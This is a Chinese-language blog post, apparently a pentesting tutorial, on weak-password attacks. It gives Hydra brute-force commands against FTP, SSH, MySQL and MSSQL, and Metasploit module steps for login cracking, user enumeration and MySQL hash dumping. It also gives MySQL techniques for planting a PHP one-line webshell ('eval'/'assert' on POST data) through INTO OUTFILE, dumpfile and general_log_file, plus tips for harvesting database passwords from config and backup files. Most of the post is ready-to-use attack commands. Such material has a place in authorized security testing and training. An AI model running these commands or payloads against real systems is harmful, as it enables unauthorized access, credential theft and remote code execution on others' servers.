本篇博客主要介绍了弱口令攻击的一些方式!

ftp

hydra

1
hydra -l root -w 10 -P pass.txt -t 10 -v -f 127.0.0.1 ftp 

参数解释:

  1. -l root 指定爆破账号为root

  2. -w 10 指定每个线程的回应时间为10S

  3. -P pwd.txt 指定密码字典为pwd.txt

  4. -t 10 指定爆破线程为10个

  5. -v 指定显示爆破过程

  6. -f 查找到第一个可以使用的ID和密码的时候停止破解

msf

可以先使用auxiliary/scanner/ftp/ftp_version对版本进行探测

1
2
3
use auxiliary/scanner/ftp/ftp_version
set rhosts 192.168.0.1
exploit

可以看到探测出是开放的,并获取到了ftp的banner信息

破解密码可以使用auxiliary/scanner/ftp/ftp_login

1
2
3
4
5
6
use auxiliary/scanner/ftp/ftp_login
set rhost 192.168.1.1
set PASS_FILE /root/Desktop/pass.txt
set USERPASS_FILE /root/Desktop/name.txt
set THREADS 20
run

ssh

hydra

同样和ftp类似

1
hydra -l root -w 10 -P pass.txt -t 10 -v -f 127.0.0.1 ssh

msf

可以用auxiliary/scanner/ssh/ssh_enumusers这个模块枚举用户

可以用auxiliary/scanner/ssh/ssh_login这个暴力破解

auxiliary/scanner/ssh/ssh_version探测版本

auxiliary/scanner/ssh/ssh_login_pubkey进行公钥破解

mysql

hydra

1
hydra -l root -w 10 -P pass.txt -t 10 -v -f 127.0.0.1 mysql

msf

使用auxiliary/scanner/mysql/mysql_version可以探测版本

使用auxiliary/admin/mysql/mysql_enum可以获取数据库版本,操作系统名称,架构,数据库目录,数据库用户以及密码哈希值

使用auxiliary/scanner/mysql/mysql_login破解

使用auxiliary/scanner/mysql/mysql_hashdump进行mysql哈希值枚举

1
2
3
4
use auxiliary/scanner/mysql/mysql_hashdump
set username root
set password root
run

使用auxiliary/admin/mysql/mysql_sql可以连接mysql类似于sqlmap里的–sql-shell

使用auxiliary/scanner/mysql/mysql_schemadump可以将数据库导出到本地

使用auxiliary/scanner/mysql/mysql_file_enum进行文件枚举

使用auxiliary/scanner/mysql/mysql_writable_dirs进行可写目录枚举

mysql攻击方法

信息泄露

一些网站源代码文件中会包含数据库连接文件,通过查看这些文件可以获取数据库账号和密码。一般常见的数据库连接文件为config.phpweb.configconn.aspdb.php/aspjdbc.propertiessysconfig.propertiesJBOSS_HOME\docs\examples\jca\XXXX-ds.xml等等。

使用ultraedit等编辑文件编辑数据库配置文件后,会留下bak文件

mysql写马

前提需要知道网站的真实物理路径,例如呼求偶真实路径D:\work\WWW,则可以通过执行以下查询,来获取一句话后门文件cmd.php

1
select '<?php @eval($_POST[1]);?>'INTO OUTFILE 'D:/work/WWW/shell.php'

当然我们可以用16进制形式写入

1
select unhex('十六进制字符串不用0x') into dumpfile 'D:/WEB/shell.php'

general_log_file写马

(1)查看genera文件配置情况

1
show global variables like "%genera%";

(2)关闭general_log

1
set global general_log=off;

(3)通过general_log选项来获取webshell

1
2
set global general_log='on';
SET global general_log_file='D:/phpStudy/WWW/cmd.php';

在查询中执行语句:

1
SELECT '<?php assert($_POST["cmd"]);?>';

Shell为cmd.php,一句话后门,密码为cmd。

mssql

hydra

1
hydra -l root -w 10 -P pass.txt -t 10 -v -f 127.0.0.1 mssql

msf

使用auxiliary/scanner/mssql/mssql_login破解密码

pcanywhere,vnc,3389

同样强大的hydra也支持以上三种,不过最新版本的hydra好像不支持3389的爆破了,只需改变服务类型就行

字典

kali的/usr/share/wordlists目录下有很多

参考:

https://blog.csdn.net/Fly_hps/article/details/80943541

评论